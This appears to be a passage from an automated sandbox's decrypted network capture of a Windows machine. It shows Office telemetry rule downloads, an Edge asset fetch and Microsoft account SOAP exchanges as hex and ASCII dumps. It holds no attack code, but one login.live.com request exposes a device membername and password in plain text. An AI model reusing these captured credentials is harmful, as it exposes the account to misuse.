2024-11-09 21:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210940Z-16547b76f7f7lhvnhC1DFWa2k00000000bk000000000dkqp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210940Z-16547b76f7fcrtpchC1DFW52e80000000brg00000000936f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49826	13.107.246.45	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:41 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 0a880868-001e-004e-28c3-32ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210940Z-15869dbbcc6rmhmhhC1DFWr8y000000003sg000000005v07 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-09 21:09:41 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-09 21:09:41 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-09 21:09:41 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-09 21:09:41 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-09 21:09:41 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49821	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-09 21:09:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-09 21:09:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 09 Nov 2024 21:08:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 177d6cb9-378f-4803-8c08-c487287f0f75 PPServer: PPV: 30 H: SN1PEPF0002F082 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:40 GMT Connection: close Content-Length: 1276
2024-11-09 21:09:41 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49825	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-09 21:09:41 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 74 72 74 76 68 70 64 6a 71 73 76 70 79 65 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 79 52 4a 73 79 59 4d 45 38 7a 72 29 76 44 75 41 59 3f 4a 6e 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02trtvhpdjqsvpye</Membername><Password>yRJsyYME8zr)vDuAY?Jn</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-09 21:09:43 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 09 Nov 2024 21:08:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: fc5ed696-f13a-4586-81e9-aa1ad18aa686 PPServer: PPV: 30 H: SN1PEPF0002F993 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:42 GMT Connection: close Content-Length: 17166
2024-11-09 21:09:43 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 36 34 42 45 37 41 34 44 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 36 33 63 39 31 39 37 63 2d 65 66 66 30 2d 34 38 36 31 2d 39 37 34 64 2d 64 35 39 62 64 62 62 65 34 39 31 66 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 